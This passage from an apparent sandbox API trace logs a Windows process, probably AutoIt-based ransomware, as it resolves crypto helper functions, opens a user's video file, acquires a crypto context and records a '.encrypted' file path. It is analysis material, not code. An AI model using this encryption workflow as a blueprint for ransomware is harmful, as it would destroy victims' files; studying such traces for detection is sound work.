wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.603] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.603] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.603] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.603] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.604] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.605] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.605] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.605] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.605] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.605] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.605] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.605] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.605] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.605] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11266) returned 1 [0029.605] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.605] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.605] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.605] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2c02, lpOverlapped=0x0) returned 1 [0029.606] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.606] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2c02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.606] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11266) returned 1 [0029.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.encrypted.swf\r\n", cchWideChar=126, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 126 [0029.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.encrypted.swf\r\n", cchWideChar=126, lpMultiByteStr=0xe8f4068ed0, cbMultiByte=126, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 126 [0029.606] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40684b0*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40684b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x7d, lpOverlapped=0x0) returned 1 [0029.606] CloseHandle (hObject=0x188) returned 1 [0029.607] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.607] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.607] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.607] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.607] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.607] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.607] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.608] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.609] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.609] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.609] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.mp4", cchWideChar=112, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 112 [0029.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.mp4", cchWideChar=112, lpMultiByteStr=0xe8f4065570, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.mp4", lpUsedDefaultChar=0x0) returned 112 [0029.609] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\eyitn_i6uxhp.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0029.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=112, lpWideCharStr=0xe8f40632e0, cchWideChar=112 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\EyITN_I6uxHP.mp4") returned 112 [0029.610] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.610] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.611] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.611] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.611] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.611] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.611] CloseHandle (hObject=0x188) returned 1 [0029.611] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.612] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.612] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.612] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.612] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.612] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.612] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.613] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.613] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.613] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.614] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.614] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.614] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.614] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.614] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.614] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.615] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.615] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.615] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.615] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.615] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.615] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 